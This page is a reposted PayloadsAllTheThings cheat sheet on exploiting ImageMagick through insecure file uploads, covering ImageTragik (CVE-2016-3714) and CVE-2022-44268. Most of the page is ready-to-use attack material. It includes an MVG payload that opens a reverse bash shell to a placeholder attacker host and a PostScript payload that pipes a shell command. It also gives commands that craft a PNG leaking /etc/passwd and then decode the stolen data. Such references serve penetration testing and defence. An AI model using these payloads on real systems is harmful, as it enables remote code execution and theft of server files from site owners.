Upload Insecure Files: CVE - ImageMagick

File uploadExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

If the backend is using ImageMagick to resize/convert user images, you can try to exploit well-known vulnerabilities such as ImageTragik.

CVE-2016–3714 - ImageTragik

Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)

  • ImageTragik - example #1

    powershell
    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
    pop graphic-context
  • ImageTragik - example #3

    powershell
    %!PS
    userdict /setpagedevice undef
    save
    legal
    { null restore } stopped { pop } if
    { legal } stopped { pop } if
    restore
    mark /OutputFile (%pipe%id) currentdevice putdeviceprops

The vulnerability can be triggered by using the convert command.

ps1
convert shellexec.jpeg whatever.gif

CVE-2022-44268

CVE-2022-44268 is an information disclosure vulnerability identified in ImageMagick. An attacker can exploit this by crafting a malicious image file that, when processed by ImageMagick, can disclose information from the local filesystem of the server running the vulnerable version of the software.

  • Generate the payload

    ps1
    apt-get install pngcrush imagemagick exiftool exiv2 -y
    pngcrush -text a "profile" "/etc/passwd" exploit.png
  • Trigger the exploit by uploading the file. The backend might use something like convert pngout.png pngconverted.png

  • Download the converted picture and inspect its content with: identify -verbose pngconverted.png

  • Convert the exfiltrated data: python3 -c 'print(bytes.fromhex("HEX_FROM_FILE").decode("utf-8"))'

More payloads in the folder Picture ImageMagick/.

Comments

No comments yet.